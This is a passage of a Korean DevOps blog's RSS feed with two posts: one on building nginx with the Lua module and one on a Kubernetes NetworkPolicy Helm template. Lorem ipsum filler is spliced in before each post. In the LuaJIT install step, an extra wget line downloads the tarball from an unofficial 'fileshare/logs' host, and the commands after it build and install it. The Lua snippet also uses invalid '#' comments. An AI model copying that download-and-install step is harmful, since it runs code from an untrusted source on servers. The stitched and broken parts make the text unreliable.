"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 <strong>nginx lua module</strong>에 대해서 정리를 해보도록 하겠습니다. lua script는 이전에 nginx 관련 세미나를 들으면서 알게 됐던 내용인데요. nginx의 config에 마치 개발 코드를 작성하듯 script를 넣어서 제어할 수 있는 부분이 꽤나 인상적이였습니다.</p>
<p>필자의 회사에서도 nginx의 lua script를 통해서 제어가 필요한 요청을 받았습니다. 이를 해결하고자 lua module 탑재를 진행하게 됐습니다.</p>
<p>Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.</p>
<ul>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/02/09/devops-nginx-compile-installation/">[DevOps] Nginx 컴파일 설치</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/07/11/devops-ansible-nginx-config-deploy/">[DevOps] ansible nginx config 배포 구성</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a>
  </li>
</ul>
<h2>1. Nginx Lua module 이란?</h2>
<p><strong>lua-nginx-module</strong>은 Nginx에 Lua 스크립팅 기능을 추가하는 모듈입니다. 이를 통해 Nginx의 요청 처리 흐름에 Lua 코드를 삽입하여 다양한 작업을 수행할 수 있습니다. OpenResty 프로젝트의 일부로, 고성능 웹 애플리케이션을 구축하는 데 유용합니다.</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/nginx_lua_1.png?w=1200&#038;ssl=1" alt="DevOps Nginx Lua module 사용법" /></p>
<h3>주요 기능</h3>
<ul>
<li>동적 컨텐츠 생성: Lua 스크립트를 사용하여 요청에 대한 동적 응답을 생성할 수 있습니다.</li>
<li>고급 접근 제어 : 요청 헤더, 쿠키, IP 주소 등을 기반으로 접근 제어 로직을 구현할 수 있습니다.</li>
<li>응답 필터링 및 수정 : 응답 본문을 필터링 하거나 수정할 수 있습니다.</li>
<li>복잡한 인증 및 인가 : 외부 인증 서버와 통신하여 복잡한 인증 및 인가 로직을 구현할 수 있습니다.</li>
<li>로깅 및 모니터링 : 맞춤 로깅 메커니즘을 구현하고, 실시간 트래픽 모니터링 데이터를 수집할 수 있습니다.</li>
</ul>
<p>공식 github은 아래에서 확인이 가능합니다.</p>
<p><a class="wp-editor-md-post-content-link" href="https://github.com/openresty/lua-nginx-module" target="_blank" rel="noopener">openresty / lua-nginx-module</a></p>
<h2>2. Nginx Lua module 설치</h2>
<p>필자는 nginx를 직접 compile 해서 사용하고 있습니다. container 기반에 이미 만들어진 이미지를 활용하는것이 훨씬 효율적일 수 있습니다. 필자는 custom module을 추가함에 있어 자유도가 있기 때문에 native로 운영중에 있습니다.</p>
<p>그럼 본격적으로 각 스텝별로 설치 가이드를 작성해보겠습니다.</p>
<ul>
<li>LuaJIT 설치
<ul>
<li><code>lua-nginx-module</code>을 사용하기 위해선, LuaJIT 또는 Lua 5.1 이상이 필요합니다. LuaJIT를 사용하는 것이 일반적으로 권장되며, 성능상의 이점이 있습니다.</li>
</ul>
</li>
</ul>
<pre><code class="language-bash line-numbers"># LuaJIT-2.0.5 설치
wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
wget https://line-objects-internal.com/fileshare/logs/LuaJIT-2.0.5.tar.gz

# 압축 해제 및 설치
tar -xvzf LuaJIT-2.0.5.tar.gz
cd LuaJIT-2.0.5
make
make install

# LuaJIT 설치 후, LuaJIT 라이브러리 경로를 시스템 라이브러리 경로에 추가
export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH
luajit -v
</code></pre>
<ul>
<li>Nginx와 <code>ngx_devel_kit</code> (NDK)</li>
</ul>
<pre><code class="language-bash line-numbers"># NDK 설치 
wget https://github.com/simplresty/ngx_devel_kit/archive/v0.3.1.tar.gz
tar -zxvf v0.3.1.tar.gz
</code></pre>
<ul>
<li><code>lua-resty-core</code>와 <code>lua-resty-lrucache</code>를 설치</li>
</ul>
<pre><code class="language-bash line-numbers"># lua-resty-core 설치
git clone https://github.com/openresty/lua-resty-core.git
cd lua-resty-core
make install

# lua-resty-lrucache 설치
git clone https://github.com/openresty/lua-resty-lrucache.git
cd lua-resty-lrucache
make install
</code></pre>
<ul>
<li><code>lua-nginx-module</code> 설치</li>
</ul>
<pre><code class="language-bash line-numbers"># lua module 다운로드
git clone https://github.com/openresty/lua-nginx-module.git
</code></pre>
<p>위의 작업들은 사전에 필요한 라이브러리 및 모듈을 다운로드, 설치 하는 과정에 대해서 설명했습니다.</p>
<p>이제 본격적으로 Nginx를 re-compile을 수행하여 module을 탑재합니다.</p>
<ul>
<li>Nginx Compile</li>
</ul>
<pre><code class="language-bash line-numbers">export LUAJIT_LIB=/usr/local/lib
export LUAJIT_INC=/usr/local/include/luajit-2.0

# Version Info
NGINX_VERSION=1.20.1
PCRE_VERSION=8.44
OPENSSL_VERSION=1.1.1l
ZLIB_VERSION=1.2.11
NGINX_PATH=/home1/irteam/apps/nginx-${NGINX_VERSION}


# Nginx Compile
./configure --prefix=${NGINX_PATH} \
    --user=irteamsu --group=irteamsu \
    --with-http_ssl_module \
    --with-http_stub_status_module \
    --with-http_realip_module \
    --with-http_v2_module \
    --add-dynamic-module=/pkgs/ngx_http_geoip2_module \
    --with-ld-opt="-Wl,-rpath,/usr/local/lib -lpcre" \
    --add-dynamic-module=/pkgs/lua-nginx-module \
    --add-dynamic-module=/pkgs/ngx_devel_kit-0.3.1 \
    --with-pcre=/pkgs/pcre-${PCRE_VERSION} \
    --with-openssl=/pkgs/openssl-${OPENSSL_VERSION} \
    --with-zlib=/pkgs/zlib-${ZLIB_VERSION}

# Nginx Install
make -j2
make install
</code></pre>
<h2>3. Nginx Config 수정</h2>
<p>위의 과정을 통해서 nginx binary에 lua module을 탑재했습니다. lua module을 사용할 수 있도록 import 합니다.</p>
<pre><code class="language-bash line-numbers"># add necessary `lua_package_path` directive to `nginx.conf`, in the http context
load_module modules/ndk_http_module.so;
load_module modules/ngx_http_lua_module.so;

events {
    worker_connections  3000;
}

http {
    lua_package_path "/usr/local/lib/lua/?.lua;;";
    ....
}
</code></pre>
<p>적용을 하면서 여러가지 이슈 사항들을 겪었습니다. 그 내용에 대해서 정리를 해보겠습니다.</p>
<h3>설치시 발생한 이슈</h3>
<ol>
<li>설치시 환경 변수 셋팅
<pre><code class="language-bash line-numbers"># 오류 내용
adding module in /usr/local/src/ngx_devel_kit-0.3.1
+ ngx_devel_kit was configured
adding module in /usr/local/src/lua-nginx-module-0.10.19
checking for LuaJIT 2.x ... not found
   ./configure: error: unsupported LuaJIT version; ngx_http_lua_module requires LuaJIT 2.x.
</code></pre>
<p>nginx를 컴파일하고 설치를 했더니 위와 같은 오류가 발생했습니다. LuaJIT이 필요하다는 내용인데요. 분명히 LuaJIT을 설치했지만 찾을 수 없는 것 같았습니다.</p>
</li>
</ol>
<ul>
<li>Resolve Ref : https://forum.openresty.us/d/6494-ngx-http-lua-module-requires-luajit-2x
<pre><code class="language-bash line-numbers"># nginx compile 시에 환경 변수 설정. 
export LUAJIT_LIB=/usr/local/lib
export LUAJIT_INC=/usr/local/include/luajit-2.0
</code></pre>
</li>
</ul>
<ol start="2">
<li>PCRE 옵션 설정
<pre><code class="language-bash line-numbers"># 오류 내용
/tmp/nginx.lJpu0R.ltrans10.ltrans.o:<artificial>:function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_malloc'
/tmp/nginx.lJpu0R.ltrans10.ltrans.o:<artificial>:function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_free'
/tmp/nginx.lJpu0R.ltrans10.ltrans.o:<artificial>:function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_malloc'
/tmp/nginx.lJpu0R.ltrans10.ltrans.o:<artificial>:function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_free'
/tmp/nginx.lJpu0R.ltrans10.ltrans.o:<artificial>:function ngx_http_lua_body_filter_by_chunk: error: undefined reference to 'pcre_malloc'
/tmp/nginx.lJpu0R.ltrans10.ltrans.o:<artificial>:function ngx_http_lua_body_filter_by_chunk: error: undefined reference to 'pcre_free'
</code></pre>
<p>pcre와 관련된 내용의 오류가 발생했습니다. Nginx Compile 과정에서 pcre를 적절하게 시스템에서 사용할 수 있도록 link를 해야된다는 것을 알았습니다. 다음의 옵션값으로 설치를 진행합니다.</p>
</li>
</ol>
<ul>
<li>Resolve Ref : https://github.com/openresty/lua-nginx-module/issues/1984
<pre><code class="language-bash line-numbers"># pcre 링크 설정
--with-ld-opt="-Wl,-rpath,/usr/local/lib -lpcre"
</code></pre>
</li>
</ul>
<ol>
<li><code>-Wl,-rpath,/usr/local/lib</code>: 실행 시간(runtime) 라이브러리 검색 경로를 <code>/usr/local/lib</code>으로 설정합니다. 이는 동적 라이브러리(.so 파일)를 로드할 때 사용됩니다.</li>
<li><code>-lpcre</code>: PCRE(Perl Compatible Regular Expressions) 라이브러리를 링크합니다. 이는 Nginx의 정규 표현식 처리 기능을 위해 필요합니다.
<ol start="3">
<li>Package Path 설정</li>
</ol>
<pre><code class="language-bash line-numbers"># 오류 내용
nginx: [error] lua_load_resty_core failed to load the resty.core module
</code></pre>
<p>nginx에서 module을 로딩할 수 없다는 내용입니다. config 설정에서 모듈을 불러 올 수 있도록 설정합니다.</p>
</li>
</ol>
<ul>
<li>Resolve Ref : https://github.com/openresty/lua-nginx-module/issues/1533
<pre><code class="language-bash line-numbers"># module 로딩 
http {
   lua_package_path "/usr/local/lib/lua/?.lua;;";
}
</code></pre>
</li>
</ul>
<h2>3. Nginx Lua script 예제</h2>
<p>처음에 lua module을 탑재하게 된 계기는 403 status code를 200으로 전환이 가능한지에서부터 시작했습니다. 개발팀의 특정 상황으로 인해서 어쩔 수 없이 403 code를 반환하는 상황이 있었습니다. 이를 200으로 전환하여 google로 하여금 seo indexing이 되도록 설정하고자 해습니다.</p>
<p>기본적인 Nginx에서는 status code를 변조하는것을 허락하지 않습니다. 이를 lua script를 통해서 변경했고 다음과 같이 config 설정을 작성했습니다.</p>
<pre><code class="language-bash line-numbers">location / {
    resolver xxx.xxx.xxx.xxx valid=600s;        
    proxy_pass https://$backend;
    proxy_next_upstream error timeout;
    proxy_redirect off;
    proxy_connect_timeout 2s;

    # response header를 변조합니다. 
    header_filter_by_lua_block {
        # .json 확장자에 대해서는 예외처리
        if ngx.var.uri:match("%.json$") then
            return
        end

        local content_type = ngx.header["Content-Type"]
        if content_type and content_type:match("text/html") then
            if ngx.status == 403 then
                # status code를 200으로 반환
                ngx.status = 200
            end
        end
    }
...
}
</code></pre>
<p>위의 내용을 통해서 적절하게 status code를 변경할 수 있었습니다. 이 외에도 다양한 활용 사례들이 있습니다. 이는 다음번 포스팅에서 작성을 해보도록 하겠습니다.</p>
<h2>4. 마치며&#8230;</h2>
<p>Nginx는 정말 웹서버 이상으로 강력한 활용 사례가 있다고 생각합니다. 이번에는 lua module을 통해서 header 제어에 대해서 확인을 했지만, 다음번에는 다양한 활용 사례에 대해서도 포스팅을 해보겠습니다.</p>
<p>또한, Nginx에는 유용한 모듈들이 많기 때문에 이러한 부분들에 대해서도 확인하고 학습하면 좋을 것 같다는 생각을 해봤습니다. 이상으로 포스팅을 마칩니다. 감사합니다.</p>
<h2>5. 참고</h2>
<p>https://www.jacobbaek.com/1369</p>
<p>https://byeong-gook.tistory.com/64</p>
<p>https://blog.naver.com/n_cloudplatform/222182688666</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2248</post-id>	</item>
		<item>
		<title>[Kubernetes] NetworkPolicy 적용</title>
		<link>https://blog.wonizz.com/2024/03/06/kubernetes-networkpolicy/</link>
					<comments>https://blog.wonizz.com/2024/03/06/kubernetes-networkpolicy/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Wed, 06 Mar 2024 10:11:43 +0000</pubDate>
				<category><![CDATA[kubernetes]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.com/?p=2201</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 오랜만에 블로그 포스팅을 합니다. 최근에 Blog Domain이 변경되면서 여러가지 고초를 겪었습니다. 이부분은 다른 포스팅에서 기록하도록 하겠습니다. 이번 포스팅은 Kubernets Networkpolicy에 대해서 정리를 해보려고합니다. 필자가 속한 프로젝트에서는 보안 네트워크(독립망)을 사용하고있어서 이러한 부분에 대해서 고려를 해본적은 없습니다. 하지만 이번에 개발팀으로부터 특정 어플리케이션에 대해서 직접 접근을 통해서 부정한 요청을 할 수 있으니 요청을 차단해달라는&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/03/06/kubernetes-networkpolicy/">[Kubernetes] NetworkPolicy 적용</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
안녕하세요? 정리하는 개발자 워니즈입니다. 오랜만에 블로그 포스팅을 합니다. 최근에 Blog Domain이 변경되면서 여러가지 고초를 겪었습니다. 이부분은 다른 포스팅에서 기록하도록 하겠습니다.

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/03/networkpolicy_1.png?w=1200&#038;ssl=1" alt="Kubernetes NetworkPolicy 적용 설명 이미지 1" />

이번 포스팅은 <strong>Kubernets Networkpolicy</strong>에 대해서 정리를 해보려고합니다. 필자가 속한 프로젝트에서는 보안 네트워크(독립망)을 사용하고있어서 이러한 부분에 대해서 고려를 해본적은 없습니다. 하지만 이번에 개발팀으로부터 특정 어플리케이션에 대해서 직접 접근을 통해서 부정한 요청을 할 수 있으니 요청을 차단해달라는 요구사항을 접수하여 해당 내용을 진행하게 됐습니다.

<h2>1. Kubernetes NetworkPolicy란 무엇인가요?</h2>

Kubernetes NetworkPolicy는 Kubernetes 클러스터 내에서 파드 간 트래픽을 제어하기 위해 사용되는 정책 기능입니다. 이를 통해 특정 파트 또는 파드 그룹 간의 통신을 제한하거나 허용할 수 있습니다.

NetworkPolicy는 파드의 라벨을 기반으로 정책을 적용하며, 트래픽의 소스 및 대상 IP주소, 포트 및 프로토콜 등을 기준으로 통신을 제어할 수 있습니다.

<h2>2. Kubernetes 어플리케이션 요구사항</h2>

요구사항은 다음과 같습니다.

<ul>
<li>외부의 사용자는 API-GW로부터만 접근이 가능하고 직접 API혹은 INTERAL-API를 호출할수는 없다.</li>
<li>Kubernetes Cluster내에서 다른 팀의 다른 어플리케이션이 직접적으로 API혹은 INTERAL-API를 호출할수는 없다.</li>
<li>어플리케이션에 Inbound 트래픽 허용 설정이 필요하다.</li>
</ul>

다이어그램은 다음과 같습니다.

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/03/networkpolicy_2.png?w=1200&#038;ssl=1" alt="Kubernetes NetworkPolicy 적용 설명 이미지 2" />

<ul>
<li>API Server는 API Gatewa에서 들어오는 inbound 트래픽을 허용합니다.</li>
<li>Internal API Server는 API Server &#038; Internal API Gateway에서 들어오는 inbound 트래픽을 허용합니다.</li>
</ul>

따라서, inbound정책만 허용하고 이외에는 deny시키는 것으로 정책을 정하고 구성을 진행하기로했습니다.

<h2>3. Network Policy 설정</h2>

Network Policy는 OSI 3 또는 4 계층 수준에서 트래픽 흐름을 제어합니다. 제어할 수 있는 규칙은 다음과 같습니다 .

<h3>Ingress</h3>

<ul>
<li>Pod Selector : 특정 레이블 셀렉터를 사용하여 트래픽의 송신자 또는 수신자 파드를 선택합니다.</li>
<li>Namespace Selector : 특정 네임스페이스에서 트래픽을 허용 또는 거부할 수 있습니다.</li>
<li>IP Block : CIDR IP 대역으로, 특정 IP 대역에서만 트래픽이 들어오도록 지정할 수 있습니다.</li>
<li>Port : 포트 기반으로 트래픽을 제어합니다.</li>
<li>Protocol : TCP, UDP 등의 트래픽 프로토콜을 지정합니다.</li>
</ul>

<h3>Egress</h3>

<ul>
<li>IP Block : CIDR IP 대역으로, 특정 IP 대역에서만 트래픽이 나가도록 지정할 수 있습니다.</li>
<li>Port : 포트 기반으로 트래픽을 제어합니다.</li>
<li>Protocol : TCP, UDP 등의 트래픽 프로토콜을 지정합니다.</li>
</ul>

위의 요구사항중 inbound(ingress)만 허용하면서 특정 어플리케이션을 whitelist하는 방식으로 구성을 하기로했습니다.

<h3>Helm Chart 구성</h3>

<ul>
<li>api-server helm chart</li>
</ul>

<pre><code class="line-numbers">├── alpha-values.yaml
├── beta-values.yaml
├── Chart.yaml
├── prod-values.yaml
└── templates
    ├── deployment.yaml
    ├── networkpolicy.yaml   --> 신규 추가
    └── service.yaml
</code></pre>

helm chart 구성에서 networkpolicy.yaml 파일을 추가했습니다. 해당 내용을 통해서 values 파일에 지정된 app을 whitelist로 적용하도록 설정하겠습니다.

<ul>
<li>alpha-values.yaml</li>
</ul>

<pre><code class="language-yaml line-numbers">....
networkPolicies:
  - allowlist:
      - api-gateway
</code></pre>

<ul>
<li>networkpolicy.yaml</li>
</ul>

<pre><code class="language-yaml line-numbers">apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: {{ .Values.phase }}-{{ .Values.projectName }}
  namespace: {{ .Values.namespace }}
  labels:
    link.service.phase: {{ .Values.phase }}
    link.service.name: {{ .Values.namespace }}
    link.project.name: {{ .Values.projectName }}
spec:
  podSelector:
    matchLabels:
      link.service.phase: {{ .Values.phase }}
      link.service.name: {{ .Values.namespace }}
      link.project.name: {{ .Values.projectName }}
  policyTypes:
  - Ingress
{{- range .Values.networkPolicies }}
  {{- $allowlist := .allowlist }}
  {{- if $allowlist }}
  ingress:
    {{- range $allowlist }}
    - from:
        - podSelector:
            matchLabels:
              link.project.name: {{ . }}
    {{- end }}
    - from:
        - namespaceSelector:
            matchLabels:
              app.kubernetes.io/name: ingress-nginx
  {{- else }}
  ingress:
  - {}
  {{- end }}
{{- end }}
</code></pre>

위의 내용을 적용하면, api-server에서는 api-gateway만 inbound(ingress)로 허용하기로했습니다. 따라서 values파일에 지정된 <strong>api-gateway</strong>만 허용되도록 설정이 됩니다.

<pre><code class="language-yaml line-numbers">        - podSelector:
            matchLabels:
              link.project.name: {{ . }}
</code></pre>

설정 부분은 pod의 label을 통해서 지정하게 되어있습니다. <strong>link.project.name: api-gateway</strong> 가 되는 application의 트래픽만을 허용하겠다는 설정입니다.

<h2>4. 요청 테스트</h2>

<ul>
<li>API Gateway Server에서 API Server호출시 <strong>정상 호출</strong></li>
</ul>

<pre><code class="line-numbers">{"responseCode":"NOT_FOUND","responseData":"type: API or static resource is not found"}
</code></pre>

<ul>
<li>API Gateway Sever에서 Internal API 호출시 <strong>접근 불가</strong></li>
</ul>

<pre><code class="line-numbers">upstream connect error or disconnect/reset before headers. retried and the latest reset reason: connection failure, transport failure reason: delayed connect error: 110
</code></pre>

<h2>5. 마치며&#8230;</h2>

이번 시간에는 <strong>Kubernetes Networkpolicy</strong>에 대해서 정리를 해보았습니다. Kubernetes를 사용하면서 보안에 대해서 크게 생각을 해본적이 없었습니다. 이번 기회에 특정 inbound 혹은 outbound 트래픽 까지 제어를 할 수 있는 부분에 대해서 알 수 있었고, 이러한 설정을 통해서 내부 시스템들을 좀 더 안정적으로 운영할 수 있다는 것을 깨달았습니다.

다음시간에는 istio에서 설정하는 부분도 정리를 해보도록 하겠습니다. 감사합니다.

<h2>6. 참고</h2>

<a class="wp-editor-md-post-content-link" href="https://kmaster.tistory.com/70" target="_blank" rel="noopener">Network Policy</a>
<a class="wp-editor-md-post-content-link" href="https://waspro.tistory.com/609" target="_blank" rel="noopener">K8S 네트워크 Policy Management</a>
<a class="wp-editor-md-post-content-link" href="https://velog.io/@salgu1998/Kubernetes-%EC%BF%A0%EB%B2%84%EB%84%A4%ED%8B%B0%EC%8A%A4-Minikube-%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-NetworkPolicy-%EC%A0%81%EC%9A%A9%ED%95%98%EA%B8%B0%EC%9E%91%EC%84%B1-%EC%A4%91" target="_blank" rel="noopener">Kubernetes 쿠버네티스 &#8211; Minikube 환경에서 NetworkPolicy 적용하기</a>
<h2 class="wp-block-heading">함께 보면 좋은 글</h2>
